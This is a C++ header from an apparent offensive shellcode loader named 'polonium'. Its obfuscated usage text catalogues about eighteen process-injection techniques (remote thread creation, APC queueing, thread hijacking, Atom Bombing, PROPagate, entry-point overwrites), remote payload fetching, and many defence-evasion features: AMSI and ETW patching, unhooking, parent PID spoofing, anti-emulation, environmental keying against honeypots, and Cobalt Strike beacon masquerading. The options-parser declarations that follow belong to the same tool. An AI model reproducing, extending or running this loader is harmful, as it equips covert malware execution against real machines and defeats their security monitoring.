#pragma once #include "../commons.h" #ifdef _POLON_LESS_STRINGS const std::wstring Program_Usage_String[1] = { OBF(L" "), }; #else const std::wstring Program_Usage_String[] = { OBF(LR"( Usage: polonium [options] Main options: -Z Don't process arguments from command line, trust only embedded ones (section/overlay/retrieved) This option should be used embeded into Polon during generation or compilation in payload.h -q Be quiet. No output. -v Enables verbose output. -l Redirect output to given log file. Stdout by default (or when '-' used). )"), OBF(LR"( -L Lists running processes and exits. If combined with "-v" will return more detailed information such as if the process has any alertable thread (RISKY!) -X Kill date. Do not run if past this date. [YYYY-MM-DD] -f Specifies a file path or HTTP(S) URL to the shellcode. If not given, will use hardcoded shellcode in `PayloadBytes` array. Can be also:)"), OBF(LR"( "a" - Retrieve shellcode from executable's overlay "b" - Retrieve shellcode from additional PE section Input file will not be checked for the encryption marker 0xDEADBEEF as opposed to the embedded one, which must end like so. -F If specified in -s injection fails, fallback to another one. If original strategy targeted remote process injection, will try some other ones and if they all)"), OBF(LR"( fail, falls back to self-injection thus acting as a loader: X -> 9 > 5 > 6 > 2 > 1. Respects what was given in (-i) option: if you insist on targeting e.g. explorer, will try over and over. IT IS SAFER to use '-F' in combination with '-i auto'. Process Injection and Payload execution: -s Specifies which injection strategy to follow. Currently implemented: )"), OBF(LR"( +------------------------------------------------------- | SELF ONLY INJECTIONS: | 0 - Change buffer's page prot to RX and jump into shellcode | | 1 - (Default) Alloc RX buffer w/ VirtualAlloc and jump into shellcode. Preferred safest choice. | )"), OBF(LR"( | SELF/REMOTE PROCESS INJECTIONS: | 2 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + ZwCreateThreadEx | Self: VirtualAlloc(RX) + CreateThread | | 3 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtSetContextThread | Self: VirtualAlloc(RX) + NtSetContextThread |)"), OBF(LR"( | 4 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtQueueApcThreadEx | Self: VirtualAlloc(RX) + NtQueueApcThreadEx | | 5 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + RtlCreateUserThread | Self: VirtualAlloc(RX) + RtlCreateUserThread | | 6 - Remote: ZwCreateSection + NtMapViewOfSection(RX) + ZwCreateThreadEx | Self: ZwCreateSection + NtMapViewOfSection(RX) + CreateThread |)"), OBF(LR"( | 7 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + NtSetContextThread | | 8 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + NtQueueApcThread | | 9 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + RtlCreateUserThread | | REMOTE ONLY - UNSTABLE/UNRELIABLE ONES: | 10 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + ZwCreateThreadEx |)"), OBF(LR"( | 11 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + NtSetContextThread | | 12 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + NtQueueApcThreadEx | | 13 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + RtlCreateUserThread |)"), OBF(LR"( | 14 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + PROPagate | | 15 - Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + PROPagate | | 16 - Remote: ZwCreateSection + NtMapViewOfSection(RX) + PROPagate |)"), OBF(LR"( | PE INJECTIONS: | 17 - Remote: Overwrites target's entry point bytes with the shellcode | (NtAllocateVirtualMemory + NtWriteVirtualMemory). Kills target. | | 18 - Remote: Allocates arbitrary RX page with shellcode, inserts JMP at the OEP | pointing to that page. (NtAllocateVirtualMemory + NtWriteVirtualMemory). Kills target. |)"), OBF(LR"( +-------------------------------------------------------)"), OBF(LR"( Footnotes: a) SELF INJECTION techniques works by having the PE image responsible to invoke given shellcode either in it's own virtual memory space, or in a spawned child process, as specified in "-i". )"), OBF(LR"( b) REMOTE PROCESS INJECTION techniques require to specify "-i" or "-j" paremeters. The former for the target process to inject into, the latter for target module as needed by specific strategies (e.g. Module Stomping). )"), OBF(LR"( c) Techniques 13 and 14 follow the PROPagate code execution scheme. By default they target explorer.exe and any of it's exposed props. WARNING: They may crash the target! Implementation based on magnificent work of https://github.com/odzhan Use his `enumprop.exe` to find other candidate processes. )"), OBF(LR"( d) Atom Bombing is a term coined by Tal Liberman, entailing combined use of GlobalGetAtomA and NtQueueApcThread to transfer payload's data into remote process memory. From that point all execution techniques apply. )"), OBF(LR"( e) The PROPagate technique using Atom Bombing (14.) may be tricky to carry off. This is because the process must have an alertable thread available, which is a requirement for Atom Bombing and must export vulnerable known Window Property, which is in turn the requirement for PROPagate. Use "-p auto" to let the program find suitable target for it. )"), OBF(LR"( f) Techniques involving ZwCreateThreadEx or RtlCreateUserThread will set the created thread's BaseAddress to ntdll!RtlUserThreadStart+0x21 and leave it suspended. Then NtSetContextThread will change the thread's context to let it execute our payload. g) Techniques based on NtSetContextThread are hijacking remote thread. This may kill the remote process or corrupt it's execution.)"), OBF(LR"( -P Specifies alternative memory protection flag to be used during allocation step. By default we go with PAGE_EXECUTE_READWRITE. Can be a hex value, "RWX", "RX", or a set of comma separated literal constants: e.g. PAGE_FOO,PAGE_BAR. -i Inject into running process based on it's image name or PID. If not specified, either will target self process, thus acting as a PE loader, or will inject into remote process of it's own PE executable. Can be a valid PID number or "auto" - to let the program find suitable target.)"), OBF(LR"( -j Chooses a target for suspended spawn and injection. Spawns self unless specified otherwise. Will look for a target image in: %SystemRoot%, %SystemRoot%\\System32 with/without .exe Payload decryption: -e Payload encryption used. Can be: xor8, xor32. Default: No encryption. -k Decryption key to use. Must be: 8bits, 32bits. Default: no key.)"), OBF(LR"( -C Compression algorithm to use. Must be: lznt1. Default: no compression. -Y Don't bind payload decryption key with measured time elapsed during Delay evasion. Will decrypt processed payload even if Delay returned prematurely, indicating Wait shortenings. Evasion: -a Enables all evasions. Let the program decide about delay, use anti-splciing, set parent as Explorer if possible, skips target process' PE wiping, sets anti-emulation to 1, blocks unsigned DLLs, applies evasion patches. Will use Read/Write process memory APIs! -d Introduces delay in seconds aiming to timeout AV emulators. Delay can be for seconds, or one of the following techniques )"), OBF(LR"( (they can be combined: -d abc ). Delay in form of seconds can prevent the shellcode from executing, other options such as a,b,c are not preventing execution. They are just to introduce a delay. "a" - Offer you have to refuse. Enormous allocation. "b" - Estimates PI around 256 millions of times. "c" - Performs 30000 senseless AES256 encryptions & decryptions -p Enables Parent PID spoofing. As a parameter, use either PID or process name (explorer, explorer.exe). Use "auto" to let the program pick "explorer.exe" or find another target)"), OBF(LR"( -c Enables process' command line spoofing. Parameter's value will be used as a process' command line filler. The tool will attempt to truncate it's cmdline anyway. (uses Read/Write process memory APIs!) -w Wipes PE headers associated with surrogate process' or these own ones, as well as attempts various other anti-dumping evasions. -w Resorts to wiping PE headers only -w -w Aggressively annihilates own child's (self) process memory. This may crash the target, as it nukes the process' memory completely by leaving only crumbs of the needed code in place. Only works in strategies 0 and 1. Hazardous!)"), OBF(LR"( -S Fragment shellcode into chunks of size bytes in write fragments in randomized order. Attempts to evade shellcode-write monitoring sensors. May be specified in hex, e.g. 0x1000. With "-a" will fragment onto 4096 bytes long chunks. Works only with techniques based on NtWriteVirtualMemory. -D Delay (in ms) between writing subsequent shellcode chunks (used when -S was given). Default: 0. Values similar to "-d" switch. -b Enables Signature enforcement and block dynamic code mitigation)"), OBF(LR"( policies on a self process (only) after executing the shellcode. This will make the loader's process protected while waiting for the shellcode to finish it's actions. WARNING: This may interfere with the shellcode itself! Test it before running on prod. -r Attempts anti-splicing maneuvers to regain resolved imports integrity. Will try to un-hook used imports.)"), OBF(LR"( -x Enables anti-emulation tricks. Repeat for greater effect. -x Basic anti-emulation tests. Should pass on VMs, with no user interaction -x -x More thorough tests, will rule out VMs and run only if mild user activity is detected -x -x -x All tests. Will run only on legitimate, frequently used workstations -K [,] Turns on environmental keying type of checks, allowing launcher to execute the payload only when these sanity checks are satisfied. Can be repeated. Methods supported (comma acts as a parameters separator): 1) Checks whether target machine is domain-joined: -K domainjoined )"), OBF(LR"( 2) Checks if target machine is joined to one of specified domains (DNS FQDN, case insensitive, wildcards accepted ?, *): -K domain,domain1.local[,domain2.local,...] 3) Validates network connectivity by specifying HTTP(S) URL to fetch and optionally applies given regular expression on the response data to filter out honeypots. If no parameters given (-K internet) will use built-in URL & Regex settings. -K internet,https://www.metaweather.com/api/location/44418/,air_pressure.+London 4) Validates public IPv4 address of the target machine: applies given regular expression on the response data to filter out honeypots: -K ip,1.2.3.4 )"), OBF(LR"( 5) Validates current user name -K username,john.doe -g Apply domain-specific in-memory patches against optics such as ETW, AMSI and (in-future) other pattern-based detections by loading corresponding modules and patching their code (CAUTION!). -H Patch ntdll!RtlpWow64CtxFromAmd64 with a trampoline and execute shellcode by pointing at this hook. Introduces indirect shellcode execution primitive aiming to evade remote-threads scanning heuristics. This parameter uses NtWriteVirtualMemory to apply hook. )"), OBF(LR"( -t Enable Shellcode Fluctuation technique to Read+Write page -T Enable Shellcode Fluctuation technique to No Access page -u Enable Thread Stack Spoofing technique. -U Masquerade user agent string by overwriting Cobalt Strike beacon's configuration with the User Agent extracted from the System's Chrome or Edge or Internet Explorer access. That option requires RedWarden or other reverse-proxy in front of Teamserver to restore original User Agent string. -y Enable Heaps encryption. WARNING: This might cause crashes! May introduce in-memory IOCs. )")}; #endif // "d" - Uses IcmpSendEcho to perform timing attack #pragma pack(push, 1) struct OverlayMetadata { /// ------------- PLAIN TEXT PART OF OVERLAY uint8_t encodeAlgo; uint8_t compressAlgo; uint32_t encodeKey; uint32_t shellcodeLen; uint32_t uncompressedShellcodeLen; /// ------------- ENCODED PART OF OVERLAY uint16_t paramsLen; }; #pragma pack(pop) class OptionsParser { GlobalConfig &programOptions; bool overlayOptionsParsed; public: OptionsParser(GlobalConfig &opts) : overlayOptionsParsed(false), programOptions(opts) {} bool processOptions( int argc, char** argv, bool overrideMode = false ); bool processOptionsLine( char** argv, const std::wstring& args ); bool parseOptions( size_t argc, char **argv, bool overrideMode = false ); std::vector processArgsLine( std::wstring args ); bool checkIfHasOverlay(PE *pe = nullptr); bool getPayloadFromPESection( bool overriding = false, bool silentTry = false ); bool getPayloadFromOverlay( bool overriding = false, bool silentTry = false ); bool verifyEmbeddedPayload( std::vector bytes, bool section, bool silentTry ); static void usage(); void setOverlayOptionsParsed(bool parsed) { overlayOptionsParsed = parsed; } private: bool openShellcodeFile( const std::wstring& filePath ); bool fetchPayloadFromNetwork( const std::wstring& url ); bool processEnvironmentalKeying( const std::wstring& paramsLine ); }; bool preParseOptions( int argc, char** argv, bool &verboseOverride, bool &quietOverride, char &inputFileType );